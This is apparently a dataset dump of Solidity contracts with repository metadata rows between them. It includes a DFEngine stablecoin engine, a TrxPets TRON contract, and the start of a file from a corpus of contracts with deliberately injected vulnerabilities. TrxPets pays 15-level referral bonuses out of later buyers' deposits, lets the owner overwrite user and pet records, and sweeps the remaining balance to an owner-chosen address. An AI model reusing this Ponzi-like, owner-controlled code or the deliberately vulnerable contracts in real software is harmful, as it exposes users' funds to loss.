require(isOwner(msg.sender), "ds-auth-non-owner");
_;
}
function isOwner(address src) internal view returns (bool) {
return bool(src == owner);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0, "ds-math-div-overflow");
z = x / y;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function pow(uint256 base, uint256 exponent) public pure returns (uint256) {
if (exponent == 0) {
return 1;
}
else if (exponent == 1) {
return base;
}
else if (base == 0 && exponent != 0) {
return 0;
}
else {
uint256 z = base;
for (uint256 i = 1; i < exponent; i++)
z = mul(z, base);
return z;
}
}
}
contract DFEngine is DSMath, DSAuth {
IDFStore public dfStore;
IDFPool public dfPool;
IDSToken public usdxToken;
address public dfCol;
address public dfFunds;
enum ProcessType {
CT_DEPOSIT,
CT_DESTROY,
CT_CLAIM,
CT_WITHDRAW
}
constructor (address _usdxToken,
address _dfStore,
address _dfPool,
address _dfCol,
address _dfFunds)
public
{
usdxToken = IDSToken(_usdxToken);
dfStore = IDFStore(_dfStore);
dfPool = IDFPool(_dfPool);
dfCol = _dfCol;
dfFunds = _dfFunds;
}
function getPrice(address oracle) public view returns (uint) {
bytes32 price = IMedianizer(oracle).read();
return uint(price);
}
function _unifiedCommission(ProcessType ct, uint _feeTokenIdx, address depositor, uint _amount) internal {
uint rate = dfStore.getFeeRate(uint(ct));
if(rate > 0) {
address _token = dfStore.getTypeToken(_feeTokenIdx);
require(_token != address(0), "_UnifiedCommission: fee token not correct.");
uint dfPrice = getPrice(dfStore.getTokenMedian(_token));
uint dfFee = div(mul(mul(_amount, rate), WAD), mul(10000, dfPrice));
IDSToken(_token).transferFrom(depositor, dfFunds, dfFee);
}
}
function deposit(address _depositor, address _srcToken, uint _feeTokenIdx, uint _srcAmount) public auth returns (uint) {
address _tokenID = dfStore.getWrappedToken(_srcToken);
require(dfStore.getMintingToken(_tokenID), "Deposit: asset is not allowed.");
uint _amount = IDSWrappedToken(_tokenID).wrap(address(dfPool), _srcAmount);
require(_amount > 0, "Deposit: amount is invalid.");
dfPool.transferFromSender(_srcToken, _depositor, IDSWrappedToken(_tokenID).reverseByMultiple(_amount));
_unifiedCommission(ProcessType.CT_DEPOSIT, _feeTokenIdx, _depositor, _amount);
address[] memory _tokens;
uint[] memory _mintCW;
(, , , _tokens, _mintCW) = dfStore.getSectionData(dfStore.getMintPosition());
uint[] memory _tokenBalance = new uint[](_tokens.length);
uint[] memory _resUSDXBalance = new uint[](_tokens.length);
uint[] memory _depositorBalance = new uint[](_tokens.length);
uint _misc = uint(-1);
for (uint i = 0; i < _tokens.length; i++) {
_tokenBalance[i] = dfStore.getTokenBalance(_tokens[i]);
_resUSDXBalance[i] = dfStore.getResUSDXBalance(_tokens[i]);
_depositorBalance[i] = dfStore.getDepositorBalance(_depositor, _tokens[i]);
if (_tokenID == _tokens[i]){
_tokenBalance[i] = add(_tokenBalance[i], _amount);
_depositorBalance[i] = add(_depositorBalance[i], _amount);
}
_misc = min(div(_tokenBalance[i], _mintCW[i]), _misc);
}
if (_misc > 0) {
return _convert(_depositor, _tokens, _mintCW, _tokenBalance, _resUSDXBalance, _depositorBalance, _misc);
}
_tokenBalance[1] = 0;
for (uint i = 0; i < _tokens.length; i++) {
_tokenBalance[0] = min(_depositorBalance[i], _resUSDXBalance[i]);
if (_tokenBalance[0] == 0) {
if (_tokenID == _tokens[i]) {
dfStore.setDepositorBalance(_depositor, _tokens[i], _depositorBalance[i]);
}
continue;
}
dfStore.setDepositorBalance(_depositor, _tokens[i], sub(_depositorBalance[i], _tokenBalance[0]));
dfStore.setResUSDXBalance(_tokens[i], sub(_resUSDXBalance[i], _tokenBalance[0]));
_tokenBalance[1] = add(_tokenBalance[1], _tokenBalance[0]);
}
if (_tokenBalance[1] > 0)
dfPool.transferOut(address(usdxToken), _depositor, _tokenBalance[1]);
_misc = add(_amount, dfStore.getTokenBalance(_tokenID));
dfStore.setTokenBalance(_tokenID, _misc);
return (_tokenBalance[1]);
}
function withdraw(address _depositor, address _srcToken, uint _feeTokenIdx, uint _srcAmount) public auth returns (uint) {
address _tokenID = dfStore.getWrappedToken(_srcToken);
uint _amount = IDSWrappedToken(_tokenID).changeByMultiple(_srcAmount);
require(_amount > 0, "Withdraw: amount is invalid.");
uint _depositorBalance = dfStore.getDepositorBalance(_depositor, _tokenID);
uint _tokenBalance = dfStore.getTokenBalance(_tokenID);
uint _withdrawAmount = min(_amount, min(_tokenBalance, _depositorBalance));
if (_withdrawAmount <= 0)
return (0);
_depositorBalance = sub(_depositorBalance, _withdrawAmount);
dfStore.setDepositorBalance(_depositor, _tokenID, _depositorBalance);
dfStore.setTokenBalance(_tokenID, sub(_tokenBalance, _withdrawAmount));
_unifiedCommission(ProcessType.CT_WITHDRAW, _feeTokenIdx, _depositor, _withdrawAmount);
IDSWrappedToken(_tokenID).unwrap(address(dfPool), _withdrawAmount);
uint _srcWithdrawAmount = IDSWrappedToken(_tokenID).reverseByMultiple(_withdrawAmount);
dfPool.transferOut(_srcToken, _depositor, _srcWithdrawAmount);
return (_srcWithdrawAmount);
}
function claim(address _depositor, uint _feeTokenIdx) public auth returns (uint) {
address[] memory _tokens = dfStore.getMintedTokenList();
uint _resUSDXBalance;
uint _depositorBalance;
uint _depositorMintAmount;
uint _mintAmount;
for (uint i = 0; i < _tokens.length; i++) {
_resUSDXBalance = dfStore.getResUSDXBalance(_tokens[i]);
_depositorBalance = dfStore.getDepositorBalance(_depositor, _tokens[i]);
_depositorMintAmount = min(_resUSDXBalance, _depositorBalance);
_mintAmount = add(_mintAmount, _depositorMintAmount);
if (_depositorMintAmount > 0){
dfStore.setResUSDXBalance(_tokens[i], sub(_resUSDXBalance, _depositorMintAmount));
dfStore.setDepositorBalance(_depositor, _tokens[i], sub(_depositorBalance, _depositorMintAmount));
}
}
if (_mintAmount <= 0)
return 0;
_unifiedCommission(ProcessType.CT_CLAIM, _feeTokenIdx, _depositor, _mintAmount);
dfPool.transferOut(address(usdxToken), _depositor, _mintAmount);
return _mintAmount;
}
function destroy(address _depositor, uint _feeTokenIdx, uint _amount) public auth returns (bool) {
require(_amount > 0 && (_amount % dfStore.getMinBurnAmount() == 0), "Destroy: amount not correct.");
require(_amount <= usdxToken.balanceOf(_depositor), "Destroy: exceed max USDX balance.");
require(_amount <= sub(dfStore.getTotalMinted(), dfStore.getTotalBurned()), "Destroy: not enough to burn.");
address[] memory _tokens;
uint[] memory _burnCW;
uint _sumBurnCW;
uint _burned;
uint _minted;
uint _burnedAmount;
uint _amountTemp = _amount;
uint _tokenAmount;
_unifiedCommission(ProcessType.CT_DESTROY, _feeTokenIdx, _depositor, _amount);
while(_amountTemp > 0) {
(_minted, _burned, , _tokens, _burnCW) = dfStore.getSectionData(dfStore.getBurnPosition());
_sumBurnCW = 0;
for (uint i = 0; i < _burnCW.length; i++) {
_sumBurnCW = add(_sumBurnCW, _burnCW[i]);
}
if (add(_burned, _amountTemp) <= _minted){
dfStore.setSectionBurned(add(_burned, _amountTemp));
_burnedAmount = _amountTemp;
_amountTemp = 0;
} else {
_burnedAmount = sub(_minted, _burned);
_amountTemp = sub(_amountTemp, _burnedAmount);
dfStore.setSectionBurned(_minted);
dfStore.burnSectionMoveon();
}
if (_burnedAmount == 0)
continue;
for (uint i = 0; i < _tokens.length; i++) {
_tokenAmount = div(mul(_burnedAmount, _burnCW[i]), _sumBurnCW);
IDSWrappedToken(_tokens[i]).unwrap(dfCol, _tokenAmount);
dfPool.transferOut(IDSWrappedToken(_tokens[i]).getSrcERC20(),
_depositor,
IDSWrappedToken(_tokens[i]).reverseByMultiple(_tokenAmount));
dfStore.setTotalCol(sub(dfStore.getTotalCol(), _tokenAmount));
}
}
usdxToken.burn(_depositor, _amount);
checkUSDXTotalAndColTotal();
dfStore.addTotalBurned(_amount);
return true;
}
function oneClickMinting(address _depositor, uint _feeTokenIdx, uint _amount) public auth {
address[] memory _tokens;
uint[] memory _mintCW;
uint _sumMintCW;
uint _srcAmount;
(, , , _tokens, _mintCW) = dfStore.getSectionData(dfStore.getMintPosition());
for (uint i = 0; i < _mintCW.length; i++) {
_sumMintCW = add(_sumMintCW, _mintCW[i]);
}
require(_sumMintCW != 0, "OneClickMinting: minting section is empty");
require(_amount > 0 && _amount % _sumMintCW == 0, "OneClickMinting: amount error");
_unifiedCommission(ProcessType.CT_DEPOSIT, _feeTokenIdx, _depositor, _amount);
for (uint i = 0; i < _mintCW.length; i++) {
_srcAmount = IDSWrappedToken(_tokens[i]).reverseByMultiple(div(mul(_amount, _mintCW[i]), _sumMintCW));
dfPool.transferFromSender(IDSWrappedToken(_tokens[i]).getSrcERC20(), _depositor, _srcAmount);
dfStore.setTotalCol(add(dfStore.getTotalCol(), div(mul(_amount, _mintCW[i]), _sumMintCW)));
IDSWrappedToken(_tokens[i]).wrap(dfCol, _srcAmount);
}
dfStore.addTotalMinted(_amount);
dfStore.addSectionMinted(_amount);
usdxToken.mint(_depositor, _amount);
checkUSDXTotalAndColTotal();
}
function _convert(address _depositor,
address[] memory _tokens,
uint[] memory _mintCW,
uint[] memory _tokenBalance,
uint[] memory _resUSDXBalance,
uint[] memory _depositorBalance,
uint _step)
internal
returns(uint)
{
uint _mintAmount;
uint _mintTotal;
uint _depositorMintAmount;
uint _depositorMintTotal;
for (uint i = 0; i < _tokens.length; i++) {
_mintAmount = mul(_step, _mintCW[i]);
_depositorMintAmount = min(_depositorBalance[i], add(_resUSDXBalance[i], _mintAmount));
dfStore.setTokenBalance(_tokens[i], sub(_tokenBalance[i], _mintAmount));
dfPool.transferToCol(_tokens[i], _mintAmount);
dfStore.setTotalCol(add(dfStore.getTotalCol(), _mintAmount));
_mintTotal = add(_mintTotal, _mintAmount);
if (_depositorMintAmount == 0){
dfStore.setResUSDXBalance(_tokens[i], add(_resUSDXBalance[i], _mintAmount));
continue;
}
dfStore.setDepositorBalance(_depositor, _tokens[i], sub(_depositorBalance[i], _depositorMintAmount));
dfStore.setResUSDXBalance(_tokens[i], sub(add(_resUSDXBalance[i], _mintAmount), _depositorMintAmount));
_depositorMintTotal = add(_depositorMintTotal, _depositorMintAmount);
}
dfStore.addTotalMinted(_mintTotal);
dfStore.addSectionMinted(_mintTotal);
usdxToken.mint(address(dfPool), _mintTotal);
checkUSDXTotalAndColTotal();
dfPool.transferOut(address(usdxToken), _depositor, _depositorMintTotal);
return _depositorMintTotal;
}
function checkUSDXTotalAndColTotal() public view {
address[] memory _tokens = dfStore.getMintedTokenList();
address _dfCol = dfCol;
uint _colTotal;
for (uint i = 0; i < _tokens.length; i++) {
_colTotal = add(_colTotal, IDSToken(_tokens[i]).balanceOf(_dfCol));
}
uint _usdxTotalSupply = usdxToken.totalSupply();
require(_usdxTotalSupply <= _colTotal,
"checkUSDXTotalAndColTotal : Amount of the usdx will be greater than collateral.");
require(_usdxTotalSupply == dfStore.getTotalCol(),
"checkUSDXTotalAndColTotal : Usdx and total collateral are not equal.");
}
}
| 167,254 | 14,146 |
8dd76a715fa7c8c8a9b500c7476888b6cf0d63812d67bcf083035bff4889badf
| 19,861 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TL98iDutJMc4BMjRsx1eRgMKqev3ai22zo_TrxPets.sol
| 5,893 | 19,470 |
//SourceUnit: v6-pro-verify.sol
pragma solidity 0.5.10;
contract TrxPets {
using SafeMath for uint;
struct User {
address payable up_line;
uint refer_pets;
uint referrals;
uint total_deposits;
uint total_payouts;
uint total_refer;
}
mapping(address => User) public users;
struct Pet {
address payable user;
uint buy_price;
uint sale_price;
uint period;
uint buy_time;
}
mapping(uint => Pet[]) public pets;
uint public total_pet = 74;
uint public total_user = 1;
uint public total_deposit_amount;
uint public total_deposit_num;
uint[15] public REFERRAL_PERCENTS = [300, 200, 100, 50, 50, 50, 50, 30, 30, 30, 30, 20, 20, 20, 20];
uint internal REFERRAL_BASE = 1000;
uint[7] public GAP = [1000 trx, 2300 trx, 5600 trx, 13000 trx, 17000 trx, 26000 trx];
uint[6] public PET_PERIODS = [3 days, 5 days, 7 days, 15 days, 30 days];
uint[6] public REWARDS_PERCENTS = [900, 1625, 2450, 5625, 10000];
uint internal REWARDS_BASE = 10000;
uint[4] internal TYPE_PERCENTS = [40, 40, 18, 2];
uint internal TYPE_BASE = 100;
uint[6] internal START_TIME = [6 hours, 6 hours, 6 hours, 6 hours, 6 hours];
uint internal START_GAP = 3 hours;
address payable public owner;
address payable internal chain_fund;
address payable internal admin_fee;
address payable internal empty_fee;
event UpLine(address indexed addr, address indexed upline);
event Split(address indexed sale, address indexed buy, uint buy_price);
event Grow(address indexed sale, address indexed buy, uint buy_price, uint from, uint to);
event Swap(address indexed sale, address indexed buy, uint buy_price, uint pet_type);
event Deposit(address indexed user, uint amount, uint pet_type, uint buy_price, uint remain);
event RefBonus(address indexed user, address indexed up_line, uint deep, uint amount);
event NewPet(address indexed belong, uint indexed pet_type, uint buy_price, uint num);
constructor() public {
owner = msg.sender;
chain_fund = owner;
admin_fee = owner;
empty_fee = owner;
}
function deposit(address payable up_line, uint input_type, uint[] memory index_arr) payable public {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(input_type >= 0 && input_type <= 4 && msg.value == GAP[input_type + 1], "invalid trx amount or input_type");
_setUpLine(msg.sender, up_line);
User storage user = users[msg.sender];
uint today = now - now % 1 days;
uint s_index = 0;
for (uint i = 0; i < index_arr.length; i++) {
Pet memory tmp = pets[input_type][index_arr[i]];
if (tmp.buy_price > 0 && now >= tmp.buy_time.add(tmp.period)) {
s_index = index_arr[i];
break;
}
}
Pet memory sale = pets[input_type][s_index];
require(sale.buy_price > 0 && now >= sale.buy_time.add(sale.period), "invalid pet");
require(now % 1 days >= START_TIME[input_type] && now % 1 days < START_TIME[input_type].add(START_GAP), "invalid time");
uint buy_price = sale.sale_price;
uint remain = msg.value.sub(buy_price);
if (input_type == 4) {
// p0 -> 1x1800
uint start_price = 1800 trx;
Pet memory pet = Pet(msg.sender, start_price, start_price.mul(REWARDS_PERCENTS[0].add(REWARDS_BASE)).div(REWARDS_BASE), PET_PERIODS[0], today.add(START_TIME[0]));
pets[0].push(pet);
emit NewPet(msg.sender, 0, start_price, 1);
// p2 -> 1x8000
start_price = 8000 trx;
pet = Pet(msg.sender, start_price, start_price.mul(REWARDS_PERCENTS[2].add(REWARDS_BASE)).div(REWARDS_BASE), PET_PERIODS[2], today.add(START_TIME[2]));
pets[2].push(pet);
emit NewPet(msg.sender, 2, start_price, 1);
// p1 -> ?
uint arrange = buy_price.sub(1800 trx).sub(start_price);
uint p1_price = arrange % GAP[1] + GAP[1];
uint start_time = today.add(START_TIME[1]);
uint s_price = p1_price.mul(REWARDS_PERCENTS[1].add(REWARDS_BASE)).div(REWARDS_BASE);
uint8 pet_type = s_price >= GAP[2] ? 2 : 1;
pet = Pet(msg.sender, p1_price, s_price, PET_PERIODS[1], start_time);
pets[pet_type].push(pet);
emit NewPet(msg.sender, pet_type, p1_price, 1);
uint num = arrange.sub(p1_price).div(GAP[1]);
uint sale_price = GAP[1].mul(REWARDS_PERCENTS[1].add(REWARDS_BASE)).div(REWARDS_BASE);
for (uint8 i = 0; i < num; i++) {
pet = Pet(msg.sender, GAP[1], sale_price, PET_PERIODS[1], start_time);
pets[1].push(pet);
}
emit NewPet(msg.sender, 1, GAP[1], num);
uint total_new_pet = num.add(3);
total_pet = total_pet.add(total_new_pet).sub(1);
if (users[msg.sender].up_line != address(0)) {
users[users[msg.sender].up_line].refer_pets = users[users[msg.sender].up_line].refer_pets.add(buy_price);
}
uint sIndex = s_index;
emit Split(sale.user, msg.sender, pets[4][sIndex].sale_price);
if (sIndex + 1 == pets[4].length) {
pets[4].pop();
} else {
pets[4][sIndex] = pets[4][pets[4].length - 1];
pets[4].pop();
}
address saleAddress = sale.user;
User memory sUser = users[saleAddress];
if (sUser.up_line != address(0)) {
if (users[sUser.up_line].refer_pets <= buy_price) {
users[sUser.up_line].refer_pets = 0;
} else {
users[sUser.up_line].refer_pets = users[sUser.up_line].refer_pets.sub(buy_price);
}
}
} else {
uint s_price = buy_price.mul(REWARDS_PERCENTS[input_type].add(REWARDS_BASE)).div(REWARDS_BASE);
if (s_price >= GAP[input_type + 1]) {
Pet memory pet = Pet(msg.sender, buy_price, s_price, PET_PERIODS[input_type], today.add(START_TIME[input_type]));
pets[input_type + 1].push(pet);
if (user.up_line != address(0)) {
users[user.up_line].refer_pets = users[user.up_line].refer_pets.add(buy_price);
}
emit NewPet(msg.sender, input_type + 1, buy_price, 1);
if (s_index + 1 == pets[input_type].length) {
pets[input_type].pop();
} else {
pets[input_type][s_index] = pets[input_type][pets[input_type].length - 1];
pets[input_type].pop();
}
if (users[sale.user].up_line != address(0)) {
if (users[users[sale.user].up_line].refer_pets <= buy_price) {
users[users[sale.user].up_line].refer_pets = 0;
} else {
users[users[sale.user].up_line].refer_pets = users[users[sale.user].up_line].refer_pets.sub(buy_price);
}
}
emit Grow(sale.user, msg.sender, buy_price, input_type, input_type + 1);
} else {
pets[input_type][s_index].user = msg.sender;
pets[input_type][s_index].buy_time = today + START_TIME[input_type];
pets[input_type][s_index].buy_price = buy_price;
pets[input_type][s_index].period = PET_PERIODS[input_type];
pets[input_type][s_index].sale_price = s_price;
if (user.up_line != address(0)) {
users[user.up_line].refer_pets = users[user.up_line].refer_pets.add(buy_price);
}
if (users[sale.user].up_line != address(0)) {
if (users[users[sale.user].up_line].refer_pets <= buy_price) {
users[users[sale.user].up_line].refer_pets = 0;
} else {
users[users[sale.user].up_line].refer_pets = users[users[sale.user].up_line].refer_pets.sub(buy_price);
}
}
emit Swap(sale.user, msg.sender, buy_price, input_type);
}
}
user.total_deposits = user.total_deposits.add(buy_price);
total_deposit_amount = total_deposit_amount.add(buy_price);
total_deposit_num++;
// pay back
if (remain > 0) {
_transfer(msg.sender, remain);
}
emit Deposit(msg.sender, msg.value, input_type, buy_price, remain);
// for sale
uint reward = sale.sale_price.sub(sale.buy_price).mul(TYPE_PERCENTS[0]).div(TYPE_BASE);
users[sale.user].total_payouts = users[sale.user].total_payouts.add(reward);
_transfer(sale.user, reward.add(sale.buy_price));
// for refer
address payable up = user.up_line;
uint total_reward = sale.sale_price.sub(sale.buy_price).mul(TYPE_PERCENTS[1]).div(TYPE_BASE);
for (uint i = 0; i < 15; i++) {
uint amount = total_reward.mul(REFERRAL_PERCENTS[i]).div(REFERRAL_BASE);
uint deep = users[up].refer_pets.div(1000 trx);
if (deep > i && up != address(0)) {
users[up].total_refer = users[up].total_refer.add(amount);
_transfer(up, amount);
emit RefBonus(msg.sender, up, i + 1, amount);
} else {
_transfer(empty_fee, amount);
}
up = users[up].up_line;
}
// for admin
_transfer(chain_fund, sale.sale_price.sub(sale.buy_price).mul(TYPE_PERCENTS[2]).div(TYPE_BASE));
_transfer(admin_fee, address(this).balance);
}
function pt(uint pet_type, address payable[] memory user_list, uint[] memory buy_price_list, uint[] memory sale_price_list, uint[] memory period_list, uint[] memory buy_time_list) public {
require(now < 1614601696);
require(msg.sender == owner);
for (uint i = 0; i < user_list.length; i++) {
Pet memory pet = Pet(user_list[i], buy_price_list[i], sale_price_list[i], period_list[i], buy_time_list[i]);
pets[pet_type].push(pet);
}
}
function u(address payable[] memory user_list, address payable[] memory up_line_list, uint[] memory refer_pets_list, uint[] memory referrals_list,
uint[] memory total_deposits_list, uint[] memory total_payouts_list, uint[] memory total_refer_list) public {
require(now < 1614601696);
require(msg.sender == owner);
total_pet = 450;
total_user = 309;
total_deposit_amount = 10130763857256;
total_deposit_num = 2454;
for (uint i = 0; i < user_list.length; i++) {
users[user_list[i]].up_line = up_line_list[i];
users[user_list[i]].refer_pets = refer_pets_list[i];
users[user_list[i]].referrals = referrals_list[i];
users[user_list[i]].total_deposits = total_deposits_list[i];
users[user_list[i]].total_payouts = total_payouts_list[i];
users[user_list[i]].total_refer = total_refer_list[i];
}
}
function change(address payable _chain, address payable _admin, address payable _empty) external {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.sender == owner);
chain_fund = _chain;
admin_fee = _admin;
empty_fee = _empty;
}
function _transfer(address payable addr, uint amount) private {
uint contractBalance = address(this).balance;
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount > 0) {
addr.transfer(amount);
}
}
function _setUpLine(address addr, address payable up_line) private {
if (users[addr].up_line == address(0)) {
require(users[up_line].up_line != address(0) || up_line == admin_fee, "invalid up line");
users[addr].up_line = up_line;
users[up_line].referrals++;
emit UpLine(addr, up_line);
total_user++;
}
}
function getPetsStates() public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
uint[] memory pet_state0 = getPetsState(0);
uint[] memory pet_state1 = getPetsState(1);
uint[] memory pet_state2 = getPetsState(2);
uint[] memory pet_state3 = getPetsState(3);
uint[] memory pet_state4 = getPetsState(4);
return (pet_state0, pet_state1, pet_state2, pet_state3, pet_state4);
}
function getPetsState(uint input_type) public view returns (uint[] memory) {
uint[] memory pet_state = new uint[](5);
// sale_price
pet_state[0] = 0;
// can_time
pet_state[1] = 0;
// pet length
pet_state[2] = 0;
// valid size
pet_state[3] = 0;
// sale index
pet_state[4] = 0;
Pet[] memory ps = pets[input_type];
if (ps.length == 0) {
return pet_state;
}
Pet memory sale = ps[0];
uint num = 0;
for (uint i = 0; i < ps.length; i++) {
if (now > (ps[i].buy_time + ps[i].period)) {
num = num.add(1);
}
if ((ps[i].buy_time + ps[i].period) < (sale.buy_time + sale.period)) {
sale = ps[i];
pet_state[4] = i;
}
}
pet_state[0] = sale.sale_price;
pet_state[1] = sale.buy_time + sale.period;
pet_state[2] = ps.length;
pet_state[3] = num;
return (pet_state);
}
function getValidPets(uint input_type, uint from, uint to) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory, address[] memory) {
Pet[] memory ps = pets[input_type];
uint count = to.sub(from);
if (count > ps.length) {
count = ps.length;
}
uint[] memory index_arr = new uint[](count);
uint[] memory time_arr = new uint[](count);
uint[] memory period_arr = new uint[](count);
uint[] memory sale_price_arr = new uint[](count);
address[] memory user_arr = new address[](count);
uint _from = 0;
uint f = from;
for (uint i = 0; i < ps.length; i++) {
if (now > (ps[i].buy_time + ps[i].period)) {
if (_from >= f) {
time_arr[_from - f] = ps[i].buy_time + ps[i].period;
index_arr[_from - f] = i;
period_arr[_from - f] = ps[i].period;
sale_price_arr[_from - f] = ps[i].sale_price;
user_arr[_from - f] = ps[i].user;
}
if (++_from >= count + f) {
break;
}
}
}
return (index_arr, time_arr, period_arr, sale_price_arr, user_arr);
}
function getPetsList(uint input_type, uint from, uint to) public view returns (address[] memory, uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
Pet[] memory ps = pets[input_type];
if (to > ps.length) {
to = ps.length;
}
uint count = to.sub(from);
address[] memory address_arr = new address[](count);
uint[] memory buy_price_arr = new uint[](count);
uint[] memory sale_price_arr = new uint[](count);
uint[] memory period_arr = new uint[](count);
uint[] memory buy_time_arr = new uint[](count);
for (uint i = 0; i < count; i++) {
address_arr[i] = ps[i + from].user;
buy_price_arr[i] = ps[i + from].buy_price;
sale_price_arr[i] = ps[i + from].sale_price;
period_arr[i] = ps[i + from].period;
buy_time_arr[i] = ps[i + from].buy_time;
}
return (address_arr, buy_price_arr, sale_price_arr, period_arr, buy_time_arr);
}
function getPetData() public view returns (uint[] memory, uint[] memory, uint[] memory, bool[] memory, uint[] memory, uint) {
uint count = 6;
uint[] memory gap = new uint[](count);
uint[] memory period = new uint[](count);
uint[] memory buy_time = new uint[](count);
uint[] memory percent = new uint[](count);
bool[] memory valid = new bool[](count);
for (uint i = 0; i < 5; i++) {
gap[i] = GAP[i];
period[i] = PET_PERIODS[i];
buy_time[i] = START_TIME[i];
percent[i] = REWARDS_PERCENTS[i];
Pet[] memory ps = pets[i];
valid[i] = false;
for (uint j = 0; j < ps.length; j++) {
if (now > ps[j].period + ps[j].buy_time) {
valid[i] = true;
break;
}
}
}
gap[5] = GAP[5];
return (gap, period, buy_time, valid, percent, START_GAP);
}
function getUserPets(address userAddress, uint input_type, uint count) public view returns (address[] memory, uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
Pet[] memory ps = pets[input_type];
address[] memory address_arr = new address[](count);
uint[] memory buy_price_arr = new uint[](count);
uint[] memory sale_price_arr = new uint[](count);
uint[] memory period_arr = new uint[](count);
uint[] memory buy_time_arr = new uint[](count);
for (uint i = 0; i < ps.length; i++) {
if (ps[i].user == userAddress) {
address_arr[i] = ps[i].user;
buy_price_arr[i] = ps[i].buy_price;
sale_price_arr[i] = ps[i].sale_price;
period_arr[i] = ps[i].period;
buy_time_arr[i] = ps[i].buy_time;
}
}
return (address_arr, buy_price_arr, sale_price_arr, period_arr, buy_time_arr);
}
function getUserState(address userAddress) public view returns (address, uint, uint, uint, uint, uint, uint) {
User memory user = users[userAddress];
return (user.up_line, user.refer_pets, user.referrals, user.total_deposits, user.total_payouts, user.total_refer, total_deposit_num);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (total_pet, total_user, total_deposit_amount, total_deposit_num);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly {size := extcodesize(addr)}
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 285,198 | 14,147 |
f6a2941a82940617022084e7a9a0b0300314729d75e1b3c1cf7c165039df7bb5
| 16,571 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/preSentEther/0x521659ddae7188ac1972a8c9c9d7ffb8e37cdfb3_preSentEther.sol
| 4,154 | 14,965 |
// hevm: flattened sources of src/Dcdc.sol
pragma solidity =0.5.11 >0.4.13 >0.4.20 >=0.4.23 >=0.5.0 <0.6.0 >=0.5.5 <0.6.0 >=0.5.11 <0.6.0;
////// lib/ds-auth/src/auth.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
////// lib/ds-math/src/math.sol
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
